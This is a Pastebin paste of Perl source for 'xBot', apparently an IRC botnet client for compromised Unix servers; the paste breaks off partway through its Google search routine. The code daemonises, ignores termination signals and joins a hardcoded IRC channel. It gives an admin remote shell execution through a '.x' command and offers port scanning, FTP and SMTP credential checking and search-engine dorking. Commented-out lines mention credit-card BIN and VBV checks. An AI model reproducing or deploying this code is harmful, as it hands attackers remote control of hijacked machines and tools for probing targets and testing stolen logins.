Advertisement
vlpriv8

xBot

Oct 27th, 2015
656
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 33.00 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #################################################
  3. use HTTP::Request; #
  4. use HTTP::Request::Common; #
  5. use HTTP::Request::Common qw(POST); #
  6. use LWP::Simple; #
  7. use LWP 5.53; #
  8. use LWP::UserAgent; #
  9. use Socket; #
  10. use IO::Socket; #
  11. use IO::Socket::INET; #
  12. use IO::Select; #
  13. use MIME::Base64; #
  14. use Net::FTP; #
  15. use Net::SMTP; #
  16. #################################################
  17. my $datetime = localtime;
  18. my $fakeproc = "/usr/sbin/sendmail";
  19. my $ircserver = "irc.priv8.jp";
  20. my $ircport = "6667";
  21. my $nickname = "xBoT";
  22. my $ident = "-";
  23. my $channel = "#unsekurity";
  24. my $admin = "nickdoadmin";
  25. my $fullname = "-";
  26. my $onjoinchan = ""; #for default onjoinchan is not defined
  27. my $onjoin = 0; #for default onjoinmsg is off
  28. my $re = $0;
  29. my $onjoinmsg = "Welcome Back ;)"; #the default on join msg
  30. my $onjoinmethod = "PRIVMSG";
  31.  
  32. my $defuagent = ("Googlebot/2.1 (+http://www.google.com/bot.html)");
  33. my $defuagent1 = ("Gigabot/3.0 (http://www.gigablast.com/spider.html)");
  34. my $defuagent2 = ("AdsBot-Google (+http://www.google.com/adsbot.html)");
  35.  
  36. my @uagents = ("Microsoft Internet Explorer/4.0b1 (Windows 95)",
  37. "Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)");
  38.  
  39. my $uagent = $uagents[rand scalar @uagents];
  40.  
  41. $SIG{'INT'} = 'IGNORE';
  42. $SIG{'HUP'} = 'IGNORE';
  43. $SIG{'TERM'} = 'IGNORE';
  44. $SIG{'CHLD'} = 'IGNORE';
  45. $SIG{'PS'} = 'IGNORE';
  46. #$0 = "$fakeproc"."\0" x 16;
  47. #print "$0\r\n";
  48. my $pid = fork;
  49. exit if $pid;
  50. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  51.  
  52. our %irc_servers;
  53. our %DCC;
  54. my $dcc_sel = new IO::Select->new();
  55. $sel_client = IO::Select->new();
  56. sub sendraw {
  57. if ($#_ == '1') {
  58. my $socket = $_[0];
  59. print $socket "$_[1]\n";
  60. } else {
  61. print $IRC_cur_socket "$_[0]\n";
  62. }
  63. }
  64.  
  65. sub connector {
  66. my $mynick = $_[0];
  67. my $ircserver_con = $_[1];
  68. my $ircport_con = $_[2];
  69. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  70. if (defined($IRC_socket)) {
  71. $IRC_cur_socket = $IRC_socket;
  72. $IRC_socket->autoflush(1);
  73. $sel_client->add($IRC_socket);
  74. $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  75. $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  76. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  77. $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  78. nick("$mynick");
  79. sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  80. sleep (1);}}
  81. sub parse {
  82. my $servarg = shift;
  83. if ($servarg =~ /^PING \:(.*)/) {
  84. sendraw("PONG :$1");
  85. }
  86. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  87. if (lc($1) eq lc($mynick)) {
  88. $mynick = $4;
  89. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  90. }
  91. }
  92. elsif ($servarg =~ m/^\:(.+?) 433 */) {
  93. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  94. nick("$mynick|".int rand(100));
  95. }
  96. elsif($servarg =~ m/^ERROR :Closing Link: (.*?)Throttled/i){
  97. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  98. print "Throttled !\r\n";
  99. exit;
  100. }
  101. elsif($servarg =~ m/^:(.+?)Overridden/){
  102. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  103. print "Overridden! \r\n";
  104. exit;
  105. }
  106. elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+) :/) {
  107. print "connected\r\n";
  108. $mynick = $2;
  109. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  110. my $passnick = "cruz3xbot";
  111. sendraw("MODE $mynick +iBx");
  112. sendraw("IDENTIFY $passnick");
  113. sendraw("JOIN #0,0");
  114. sendraw("JOIN $channel");
  115. sendraw("PRIVMSG $channel :y0!");
  116. }
  117. }
  118. my $line_temp;
  119. while( 1 ) {
  120. while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
  121. select(undef, undef, undef, 0.01);;
  122. delete($irc_servers{''}) if (defined($irc_servers{''}));
  123. my @ready = $sel_client->can_read(0);
  124. next unless(@ready);
  125. foreach $fh (@ready) {
  126. $IRC_cur_socket = $fh;
  127. $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  128. $nread = sysread($fh, $ircmsg, 4096);
  129. if ($nread == 0) {
  130. $sel_client->remove($fh);
  131. $fh->close;
  132. delete($irc_servers{$fh});
  133. }
  134. @lines = split (/\n/, $ircmsg);
  135. $ircmsg =~ s/\r\n$//;
  136. if($onjoin == 1 && defined $onjoinmsg){
  137. if ($ircmsg =~ m/^\:(.*?)\!(.+?)\@(.+?) JOIN :$onjoinchan/) {
  138. sendraw("$onjoinmethod $1 $onjoinmsg");
  139. }
  140. }
  141. if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  142. my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  143. if ($path eq $mynick) {
  144. if ($msg =~ /^PING (.*)/) {
  145. sendraw("NOTICE $nick :PING LoL");
  146. }
  147. if ($msg =~ /^VERSION/) {
  148. sendraw("NOTICE $nick :VERSION xBoT v0.8.8");
  149. }
  150. if ($msg =~ /^TIME/) {
  151. sendraw("NOTICE $nick :TIME type !time on main channel");
  152. }
  153. }
  154. ########################ADMIN COMMANdS!###################################
  155. if (&isAdmin($nick) && $msg eq "!die") {
  156. &shell("$path","kill -9 $$");
  157. }
  158. if (&isAdmin($nick) && $msg eq "!kill") {
  159. &shell("$path","killall -9 perl");
  160. }
  161. if (&isAdmin($nick) && $msg eq "!reset") {
  162. sendraw("QUIT :Restarting...");
  163. print "re => $re\r\n";
  164. &shell("$path","kill -9 $$ && perl $re");
  165. }
  166. if (&isAdmin($nick) && $msg =~ /^!join\s+(.*)/) {
  167. sendraw("JOIN $1");
  168. }
  169. if (&isAdmin($nick) && $msg =~ /^!part\s+(.*)/) {
  170. sendraw("PART $1");
  171. }
  172. if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  173. sendraw("NICK ".$1);
  174. }
  175. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  176. &notice("$nick","$fakeproc - $$");
  177. }
  178. if (&isAdmin($nick) && $msg =~ /^\.x (.*)/) {
  179. &shell("$path","$1");
  180. }
  181. ######################################################################
  182. ######################################################################
  183. if (&isAdmin($nick) && $msg =~ /^!notice\s+(.*)\s+(.*)/) {
  184. &notice("$1","$2");
  185. }
  186. ######################################################################
  187. if (&isAdmin($nick) && $msg =~ /^!raw\s+(.*)/) {
  188. sendraw("$1");
  189. }
  190. ######################################################################
  191. if (&isAdmin($nick) && $msg =~ /^!msg\s+(.*)/) {
  192. my ($messagez) = ($1);
  193. sendraw("PRIVMSG $messagez");
  194. }
  195. ######################################################################
  196. if ($msg =~ /^!ojoin\s+(.*)/) {
  197. if($1 =~ m/on/){
  198. $onjoin = 1;
  199. &msg("$path","14,01[ 15 OnJoin 14 ]08 Switched to 05=> 09ON");
  200. }elsif($1 =~ m/off/){
  201. $onjoin = 0;
  202. &msg("$path","14,01[ 15 OnJoin 14 ]08 Switched to 05=> 04OFF");
  203. }elsif($1 =~ m/status/){
  204. if($onjoin == 1){
  205. $status = "09ON";
  206. }elsif($onjoin == 0){
  207. $status = "04OFF";
  208. }
  209. &msg("$path","14,01[ 15 OnJoin 14 ]08 Is 05=> $status");
  210. }
  211. }
  212. ######################################################################
  213. if ($msg =~ /^!ochan\s+(.*)/) {
  214. if($1 =~ m/status/){
  215. &msg("$path","14,01[ 15 OnJoinChan 14 ]08 Is 04=> 09$onjoinchan");
  216. }else{
  217. $onjoinchan = "$1";
  218. &msg("$path","14,01[ 15 OnJoinChan 14 ]08 Changed to 04=> 09$onjoinchan");
  219. }
  220. }
  221. ######################################################################
  222. if($msg =~ /^!omsg\s+(.*)/){
  223. if($1 =~ m/status/){
  224. &msg("$path","14,01[ 15 OnJoinMsg 14 ]08 Is 04=> 09$onjoinmsg");
  225. }else{
  226. $onjoinmsg = $1;
  227. &msg("$path","14,01[ 15 OnJoinMsg 14 ]08 Changed to 04=> 09$onjoinmsg");
  228. }
  229. }
  230. ######################################################################
  231. if($msg =~ /^!omethod\s+(.*)/){
  232. if($1 =~ m/status/){
  233. &msg("$path","14,01[ 15 OnJoinMethod 14 ]08 Is 04=> 09$onjoinmethod");
  234. }
  235. elsif($1 =~ m/1/){
  236. $onjoinmethod = "PRIVMSG";
  237. &msg("$path","14,01[ 15 OnJoinMethod 14 ]08 Changed to 04=> 09$onjoinmethod");
  238. }
  239. elsif($1 =~ m/2/){
  240. $onjoinmethod = "NOTICE";
  241. &msg("$path","14,01[ 15 OnJoinMethod 14 ]08 Changed to 04=> 09$onjoinmethod");
  242. }
  243. elsif($1 =~ m/3/){
  244. $onjoinmethod = "PRIVMSG $channel";
  245. &msg("$path","14,01[ 15 OnJoinMethod 14 ]08 Changed to 04=> 09$onjoinmethod");
  246. }
  247. elsif($1 =~ m/4/){
  248. $onjoinmethod = "NOTICE $channel";
  249. &msg("$path","14,01[ 15 OnJoinMethod 14 ]08 Changed to 04=> 09$onjoinmethod");
  250. }
  251. else{
  252. &msg("$path","14,01[ 15 OnJoinMethod 14 ]08 Type 04!omethod 1 - 4 or status");
  253. }
  254. }
  255. ######################################################################
  256.  
  257. if ($msg =~ /^!sysinfo/) {
  258. my $uname = `uname -sr`;
  259. if ( $uname =~ /freebsd/i ) {
  260. $hostname = `hostname`;
  261. $memory = `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`;
  262. chomp($memory);
  263. }
  264. elsif ( $uname =~ /linux/i ) {
  265. $hostname = `hostname -f`;
  266. $memory = `free -m |grep -i mem | awk '{print \$2}'`;
  267. chomp($memory);
  268. }else {
  269. $sysname ="Not Found";;
  270. $memory ="Not found";
  271. $swap ="Not Found";
  272. }
  273. my $uptime = `uptime`;
  274. if (( -x "/usr/bin/wget")&&( -e "/usr/bin/wget")) { $wGet="09,01Yes"; } else { $wGet="04,01No"; }
  275. if (( -x "/usr/bin/curl")&&( -e "/usr/bin/curl")) { $Curl="09,01Yes"; } else { $Curl="04,01No"; }
  276. if (( -x "/usr/bin/fetch")&&( -e "/usr/bin/fetch")) { $fetch="09,01Yes"; } else { $fetch="04,01No"; }
  277. if (( -x "/usr/bin/GET")&&( -e "/usr/bin/GET")) { $GET="09,01Yes"; } else { $GET="04,01No"; }
  278. if (( -x "/usr/bin/lwp-download")&&( -e "/usr/bin/lwp-download")) { $LWP="09,01Yes"; } else { $LWP="04,01No"; }
  279. &msg("$path","Wget : $wGet");
  280. &msg("$path","Curl : $Curl");
  281. &msg("$path","Fetch : $fetch");
  282. &msg("$path","Get : $GET");
  283. &msg("$path","Lwp : $LWP");
  284. &msg("$path","Uname -sr: $uname");
  285. &msg("$path","Hostname : $hostname");
  286. &msg("$path","Memory : $memory");
  287. &msg("$path","Uptime : $uptime");
  288. }
  289. ######################################################################
  290. if ($msg =~ /^!info/) {
  291. if ((-x "/usr/bin/php") && (-e "/usr/bin/php")) { $myphp="09,01Yes"; } else { $myphp="04,01No"; }
  292. if ((-x "/usr/bin/python") && (-e "/usr/bin/python")) { $python="09,01Yes"; } else { $python="04,01No"; }
  293. if ((-x "/usr/bin/ruby") && (-e "/usr/bin/ruby")) { $ruby="09,01Yes"; } else { $ruby="04,01No"; }
  294. if ((-x "/usr/bin/gcc") && (-e "/usr/bin/gcc")) { $gcc="09,01Yes"; } else { $gcc="04,01No"; }
  295. if ((-x "/usr/bin/cc") && (-e "/usr/bin/cc")) { $cc="09,01Yes"; } else { $cc="04,01No"; }
  296. if ((-x "/usr/bin/nmap") && (-e "/usr/bin/nmap")) { $nmap="09,01Yes"; } else { $nmap="04,01No"; }
  297. &msg("$path","Php : $myphp");
  298. &msg("$path","Python: $python");
  299. &msg("$path","Ruby : $ruby");
  300. &msg("$path","Gcc : $gcc");
  301. &msg("$path","Cc : $cc");
  302. &msg("$path","Nmap : $nmap");
  303. }
  304. ######################################################################
  305. #######################ENDOF ADDMIN COMMANDS##################################
  306. #########################BEGIN Public coMMANDS######################################
  307. if ($msg =~ /^!help/) {
  308. &msg("$path","00,01Commands Are Available:");
  309. #&msg("$path","00,01!bin14.....00: <08ccnumber00> To resolve country from a ccnumber.");
  310. #&msg("$path","00,01!sec14.....00: <08ccnumber00> To check Vbv/Mcsc protection from a ccnumber.");
  311. &msg("$path","00,01!google14..00: <08keyword00> To get links from google.");
  312. &msg("$path","00,01!bing14....00: <08keyword00> To get links from bing.");
  313. &msg("$path","00,01!ip14......00: <08ip00> To check info about an ip.");
  314. &msg("$path","00,01!head14....00: <08host/ip00> To check Server version.");
  315. &msg("$path","00,01!dns14.....00: <08hostname00> To resolve a hostname/domain to ip address.");
  316. &msg("$path","00,01!port14....00: <08host/ip00> 00<08port00> To check open port.");
  317. &msg("$path","00,01!portscan1400: <08host/ip00> To scan a host for common ports.");
  318. &msg("$path","00,01!ftp14.....00: <08hostname00> <08user00> <08password00> to check ftp logins.");
  319. &msg("$path","00,01!hex14.....00: <08String00> To encrypt string -> hex");
  320. &msg("$path","00,01!dechex14..00: <08Hex00> To Decrypt hex -> String");
  321. &msg("$path","00,01!base64..1400: <08text00> To encrypt text to base4 encryption.");
  322. &msg("$path","00,01!dec64...1400: <08string00> To decrypt base64.");
  323. &msg("$path","00,01!length..1400: <08string00> To Check length of your word.");
  324. &msg("$path","00,01!time....1400: To check Localtime");
  325. &msg("$path","04,01./Eof");
  326. #&msg("$path","");
  327. #&msg("$path","");
  328. #&msg("$path","");
  329. }
  330. ######################################################################
  331. if ($msg =~ /^!time/) {
  332. $time = localtime;
  333. &msg("$path","14,01[ 15Time14 ]04 $time");
  334. }
  335. ######################################################################
  336. if ($msg =~ /^!length\s+(.*)/) {
  337. my $length = length($1);
  338. &msg("$path","$length");
  339. }
  340. #####################################################################
  341. if ($msg=~ /^!md5\s+(.*)/ ) {
  342. if (my $pid = fork) { waitpid($pid, 0); } else {
  343. if (fork) { exit; } else {
  344. my $md5de = $1;
  345. &msg("$path","14,1[15,1 MD5 14,01]08,01 Encrypting 05=> 09$md5de");
  346. my $traceip = ("http://md5.rednoize.com/?q=".$md5de);
  347. $resul = &get_content($traceip);
  348. if ($resul =~ m/<div id=\"result\" >(.*?)<\/div>/) {
  349. &msg("$path","14,1[15,1 MD5 14,01]08,01 $md5de 05=> 09$1");
  350. }
  351. }
  352. exit;
  353. }
  354. }
  355. ######################################################################
  356. # if ($msg =~ /^!about/) {
  357. # &msg("$path","14,01[07 AbouT 14]08 xBoT by 09s4l1ty");
  358. # &msg("$path","14,1[07 AbouT 14]08 for 09Root-NetWork! 08& 09s4l1ty.biz!");
  359. # }
  360. ######################################################################
  361. if ($msg =~ /^!version/) {
  362. &msg("$path","14,01[07 VerSion 14]08 v0.8.8 09r0x");
  363. }
  364. ######################################################################
  365. if ($msg=~ /^!short\s+(.*)/ ) {
  366. if (my $pid = fork) { waitpid($pid, 0); } else {
  367. if (fork) { exit; } else {
  368. my $url = $1;
  369. if($url eq ''){
  370. &msg("$path","14,1[15,1 Short 14,01]04,01 NULL?");
  371. exit;
  372. }
  373. &msg("$path","14,1[15,1 Short 14,01]08,01 Encurtando 05=> 09$url");
  374. my $surl = ("http://cachor.ro/api.php?url=".$url."");
  375. $resul = &get_content($surl);
  376. &msg("$path","14,1[15,1 Short 14,01]08,01 $url 05=> 09$resul");
  377. exit;
  378. }
  379. }
  380. }
  381. ######################################################################
  382. if ($msg=~ /^!skype\s+(.*)/ ) {
  383. if (my $pid = fork) { waitpid($pid, 0); } else {
  384. if (fork) { exit; } else {
  385. my $url = $1;
  386. if($url eq ''){
  387. &msg("$path","14,1[15,1 Skype 14,01]04,01 NULL?");
  388. exit;
  389. }
  390. &msg("$path","14,1[15,1 Skype 14,01]08,01 Resolvendo 05=> 09$url");
  391. my $surl = ("http://skypegrabapi.info/?key=Z0qm6Zp1UVdjCL4nfWpRH27Uc&name=".$url."");
  392. $resul = &get_content($surl);
  393. &msg("$path","14,1[15,1 Skype 14,01]08,01 $url 05=> 09$resul");
  394. exit;
  395. }
  396. }
  397. }
  398. ######################################################################
  399. if ($msg=~ /^!ip\s+(.*)/ ) {
  400. if (my $pid = fork) { waitpid($pid, 0); } else {
  401. if (fork) { exit; } else {
  402. my $ip = $1;
  403. if($ip eq ''){
  404. &msg("$path","14,1[15,1 ip 14,01]04,01 NULL?");
  405. exit;
  406. }
  407. if($ip !~ m/(\d[0-9]{0,3})\.(\d[0-9]{0,3})\.(\d[0-9]{0,3})\.(\d[0-9]{0,3})/){
  408. &msg("$path","14,1[15,1 ip 14,01]04,01 WHERE is THE IP?");
  409. exit;
  410. }
  411. &msg("$path","14,1[15,1 IP 14,01]00,01 Checking 05=> 09$ip");
  412. my $traceip = ("http://whatismyipaddress.com/ip/".$ip."");
  413. $resul = &get_content($traceip);
  414. if($resul =~ m/We were unable to find the page/){
  415. &msg("$path","14,1[15,1 IP 14,01]09,01 $ip 05=> 04No result!");
  416. exit;
  417. }elsif($resul =~ m/What is a Private IP Address/){
  418. &msg("$path","14,1[15,1 IP 14,01]09,01 $ip 05=> 04Private ip!");
  419. exit;
  420. }
  421. elsif ($resul =~ m/Hostname:<\/th><td>(.*?)<\/td>/) {
  422. &msg("$path","14,1[15,1 Hostname 14,01]08,01 $1");
  423. }
  424. if ($resul =~ m/ISP:<\/th><td>(.*?)<\/td>/) {
  425. &msg("$path","14,1[15,1 ISP 14,01]08,01 $1");
  426. }
  427. if ($resul =~ m/Country:<\/th><td>(.*) <img/) {
  428. &msg("$path","14,1[15,1 Country 14,01]08,01 $1");
  429. }
  430. if ($resul =~ m/State\/Region:<\/th><td>(.*?)<\/td>/) {
  431. &msg("$path","14,1[15,1 State 14,01]08,01 $1");
  432. }
  433. if ($resul =~ m/City:<\/th><td>(.*?)<\/td>/) {
  434. &msg("$path","14,1[15,1 City 14,01]08,01 $1");
  435. }
  436. exit; }
  437. }
  438. }
  439.  
  440.  
  441. #######################################################################
  442. if ($msg=~ /^!dns\s+(.*)/){
  443. if (my $pid = fork) {
  444. waitpid($pid, 0);
  445. }
  446. else {
  447. if (fork) { exit; } else {
  448. my $check = $1;
  449. if($check eq ''){
  450. &msg("$path","14,1[15,1 DNS 14,01]04,01 NULL?");
  451. exit;
  452. }
  453. elsif($check =~ m/@/){
  454. &msg("$path","14,1[15,1 DNS 14,01]08,01 Checking04 => 09$nick");
  455. exit;
  456. }
  457. if($check =~ m/(\d[0-9]{0,3})\.(\d[0-9]{0,3})\.(\d[0-9]{0,3})\.(\d[0-9]{0,3})/){
  458. &msg("$path","14,1[15,1 DNS 14,01]08,01 Checking05 => 09$check");
  459. $check = "$1.$2.$3.$4";
  460. my $gethost = gethostbyaddr(inet_aton($check), AF_INET);
  461. if(defined $gethost){
  462. &msg("$path","14,1[15,1 DNS 14,01]08,01 $check05 => 09$gethost");
  463. }elsif(!defined $gethost){
  464. &msg("$path","14,1[15,1 DNS 14,01]08,01 $check05 => 04Not Resolved!");
  465. }
  466. }
  467. elsif($check !~ m/(\d[0-9]{0,3})\.(\d[0-9]{0,3})\.(\d[0-9]{0,3})\.(\d[0-9]{0,3})/){
  468. &msg("$path","14,1[15,1 DNS 14,01]08,01 Checking05 => 09$check");
  469. my $aton = inet_aton($check);
  470. if(length($aton) != 0){
  471. $ntoa = inet_ntoa($aton);
  472. &msg("$path","14,1[15,1 DNS 14,01]08,01 $check05 => 09$ntoa");
  473. }
  474. else{
  475. &msg("$path","14,1[15,1 DNS 14,01]08,01 $check05 => 04Not Resolved!");
  476. }
  477. }
  478. }
  479. }
  480. }
  481. ##########################################################################################
  482. if ($msg=~ /^!head\s+(.*)/) {
  483. if (my $pid = fork) {
  484. waitpid($pid, 0);
  485. }
  486. else {
  487. if (fork) { exit; } else {
  488. my ($host) = ($1);
  489. &msg("$path","14,1[15 cServ 14]00 Checking =>08 $host");
  490. &check_serv($path,$host);
  491. }
  492. exit;
  493. }
  494. }
  495. ##########################################################################################
  496. if ($msg=~ /^!ftp\s+(.+?)\s+(.*)\s+(.*)/) {
  497. if (my $pid = fork) {
  498. waitpid($pid, 0);
  499. }
  500. else {
  501. if (fork) { exit; } else {
  502. my ($host,$user,$pass) = ($1,$2,$3);
  503. &msg("$path","3,1[3FTP]15 Checking 04 $host - 09$user : $pass");
  504. &ftp_connect($host,$user,$pass,$path);
  505. }
  506. exit;
  507. }
  508. }
  509. ##########################################################################################
  510. if ($msg=~ /^!smtp\s+(.+?)\s+(.*)\s+(.*)/) {
  511. if (my $pid = fork) {
  512. waitpid($pid, 0);
  513. }
  514. else {
  515. if (fork) { exit; } else {
  516. my ($host,$user,$pass) = ($1,$2,$3);
  517. &msg("$path","3,1[7 SMTP 03]00 Checking 08 $host - 09$user : $pass");
  518. &smtp_check($path,$host,$user,$pass);
  519. }
  520. exit;
  521. }
  522. }
  523. ######################################################################
  524. if ($msg =~ /^!portscan (.*)$/ ) {
  525. my $hostip="$1";
  526. my @portas=("21","22","23","25","53","80","101","443","444","445","464","488","512","1033","1066","1079","1080","1109","1433","1434","1512","3128","3306","3389","4321","5000","5902","5901","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","8000","8018","8080","8200","10000","31337","55555");
  527. my (@aberta, %porta_banner);
  528. &msg("$path","14,01[15 PortScan 14]00 Scanning 05=> 09$hostip 15Please Wait...!");
  529. foreach my $porta (@portas) {
  530. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 2);
  531. if ($scansock) {
  532. push (@aberta, $porta);
  533. $scansock->close;
  534. }
  535. }
  536.  
  537. if (@aberta) {
  538. &msg("$path", "14,01[15 PortScan 14]07 Open ports are :04 @aberta");
  539. } else {
  540. &msg("$path","14,01[15 PortScan 14]04 All ports are Closed!");
  541. }
  542. }
  543. ######################################################################
  544. if ($msg=~ /^!port\s+(.*?)\s+(.*)/ ) {
  545. my $hostip= "$1";
  546. my $portsc= "$2";
  547. &msg("$path","14,1[15 Port 14] 00Checking 05=> 08$hostip:$portsc");
  548. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 4);
  549. if ($scansock) {
  550. &msg("$path","14,1[15 Port 14]08 $hostip:$portsc05 => 09Accepted!");
  551. }
  552. else {
  553. &msg("$path","14,1[15 Port 14]08 $hostip:$portsc05 => 04Connection Refused!");
  554. }
  555. }
  556. ######################################################################
  557. if ($msg=~ /^!hex\s(.*)/){
  558. if (my $pid = fork) { waitpid($pid, 0); }
  559. else {
  560. if (fork) { exit; } else {
  561. my ($str)= ($1);
  562. &msg("$path","14,1[15,1 Hex 14,01]00,01 Generating05 =>08,01 $str");
  563. my @hex = (unpack('H*', $str));
  564. &msg("$path","14,1[15,1 Hex 14,01]00,01 Generated:04 @hex");
  565. }
  566. exit;
  567. }
  568. }
  569. ######################################################################
  570. if ($msg=~ /^!dechex\s(.*)/){
  571. if (my $pid = fork) { waitpid($pid, 0); }
  572. else {
  573. if (fork) { exit; } else {
  574. my ($hex)= ($1);
  575. &msg("$path","14,1[15,1 Dechex 14,01]00,01 Decoding 05 =>08,01 $hex");
  576. my @str = (pack('H*', $hex));
  577. &msg("$path","14,1[15,1 Dechex 14,01]00,01 Decoded:04 @str");
  578. }
  579. exit;
  580. }
  581. }
  582. ######################################################################
  583. if ($msg=~ /^!base64\s(.*)/){
  584. if (my $pid = fork) { waitpid($pid, 0); }
  585. else {
  586. if (fork) { exit; } else {
  587. my ($str)= ($1);
  588. &msg("$path","14,1[15,1 Base64 14,01]00,01 Generating05 =>08,01 $str");
  589. my $base64_encoded = encode_base64($str);
  590. &msg("$path","14,1[15,1 Base64 14,01]00,01 Generated:04 $base64_encoded");
  591. }
  592. exit;
  593. }
  594. }
  595. ######################################################################
  596. if ($msg=~ /^!dec64\s(.*)/){
  597. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  598. my ($hash)= ($1);
  599. &msg("$path","14,1[15,1 Decode64 14,01]00,01 Decoding05 =>08,01 $hash");
  600. my $base64_decoded = decode_base64($hash);
  601. &msg("$path","14,1[15,1 Decode64 14,01]00,01 Decoded:04 $base64_decoded");
  602. }
  603. exit; }
  604. }
  605. ######################################################################
  606. if ($msg=~ /^!site\s(.*)/) {
  607. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  608. my ($site) = ($1);
  609. &msg("$path","14,1[15 cTitle14] 00Checking 05=> 09$site");
  610. my $useragent = LWP::UserAgent->new(agent => $uagent);
  611. $useragent->timeout(3);
  612. my $response = $useragent->get($site);
  613. if(!$response->is_success){
  614. &msg("$path","14,1[15 cTitle14] 04,01Can't Connect to 05=> 09$site");
  615. exit;
  616. }elsif ($response->is_success) {
  617. my $res = $response->content;
  618. if ($res =~ m/<title>(.*)<\/title>/g) {
  619. &msg("$path","14,1[15 cTitle14] 08Title site is 05=> 09$1");
  620. }elsif($res =~ m/<TITlE>(.*)<\/TITlE>/g){
  621. &msg("$path","14,1[15 cTitle14] 08Title site is 05=> 09$1");
  622. }
  623. else {
  624. &msg("$path","14,1[15 cTitle14] 04No Title Found!");
  625. }
  626. }
  627. exit;
  628. }
  629. }
  630. }
  631. ######################################################################
  632. if ($msg=~ /^!google\s+(.*)\s+(.*)/) {
  633. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  634. my ($dork,$listed) = ($1,$2);
  635. if($listed !~ m/(\d[0-9]{0,2})/){
  636. $listed = "1";
  637. &msg("$path","14,1[15 Google 14] 00Googling 05=> 09$dork");
  638. &googling($path,$dork,$listed);
  639. }
  640. elsif(int($listed)){
  641. if($listed > 10){
  642. &msg("$path","14,1[15 Google 14] 04 Dont use more than 10");
  643. exit;
  644. }
  645. else{
  646. &msg("$path","14,1[15 Google 14] 00Googling 05=> 09$dork");
  647. &googling($path,$dork,$listed);
  648. }
  649. }
  650. exit;
  651. }
  652. }
  653. }
  654. ######################################################################
  655. if ($msg=~ /^!bing\s+(.*)\s+(.*)/) {
  656. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  657. my ($dork,$listed) = ($1,$2);
  658. if($listed !~ m/(\d[0-9]{0,2})/){
  659. $listed = "1";
  660. &msg("$path","14,1[15 BING 14] 00Searching 05=> 09$dork");
  661. &binger($path,$dork,$listed);
  662. }
  663. elsif(int($listed)){
  664. if($listed > 9){
  665. &msg("$path","14,1[15 BING 14] 04 Dont use more than 9");
  666. exit;
  667. }
  668. else{
  669. &msg("$path","14,1[15 BING 14] 00Searching 05=> 09$dork");
  670. &binger($path,$dork,$listed);
  671. }
  672. }
  673. exit;
  674. }
  675. }
  676. }
  677. ######################################################################
  678.  
  679. #####################################################################
  680. }
  681. for(my $c=0; $c<= $#lines; $c++) {
  682. $line = $lines[$c];
  683. $line = $line_temp.$line if ($line_temp);
  684. $line_temp = '';
  685. $line =~ s/\r$//;
  686. #print "LINE => $line \r\n";
  687. unless ($c == $#lines) {
  688. &parse("$line");
  689. } else {
  690. if ($#lines == 0) {
  691. &parse("$line");
  692. } elsif ($lines[$c] =~ /\r$/) {
  693. &parse("$line");
  694. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  695. &parse("$line");
  696. } else {
  697. $line_temp = $line;
  698. }
  699. }
  700. }
  701. } #end of foreach $fh (@ready)
  702. }#end of while(1)
  703. ######################################################################
  704. ######################################################################
  705. sub googling(){
  706. my $chan = $_[0];
  707. my $dork = $_[1];
  708. my $listed = $_[2];
  709. if($listed !~ m/(\d[0-9]{0,2})/){
  710. $listed = "1";
  711. }
  712. #print "OKAY $dork => $listed\r\n";
  713. my $ug = "Googlebot/2.1 (+http://www.google.com/bot.html)";
  714. my $useragent = LWP::UserAgent->new(agent => $ug,Timeout => 3);
  715. my $start = "http://www.google.com.au/search?hl=en&q=";
  716. my $end = "&start=";
  717. my $site = "".$start.$dork.$end."";
  718. my $response = $useragent->get($site);
  719. if(!$response->is_success){
  720. &msg("$chan","14,1[15 Google 14] 04,01Can't Connect to GooGlE");
  721. print "CONNECTION ERROR\r\n";
  722. exit;
  723. }
  724. elsif ($response->is_success) {
  725. if(int($listed)){
  726. my $res = $response->content;
  727. if($res =~ m/<h3 class=(.*?)><a href=\"(.*?)?q=(.*?)&(.*?)\"><b>(.*?)<\/b>/g){
  728. for($i=1;$i<=$listed;$i++){
  729. if($res =~ m/<h3 class=(.*?)><a href=\"(.*?)?q=(.*?)&(.*?)\"><b>(.*?)<\/b>/g){
  730. &msg("$chan","14,1[15 Google 14] 14[08$i14] 04,01$3");
  731. #print "1 => $1 2 => $2 3 => $3\r\n";
  732. }
  733. }
  734. }elsif($res =~ m/- did not match any documents/g){
  735. &msg("$chan","14,1[15 Google 14]04,01 No result!");
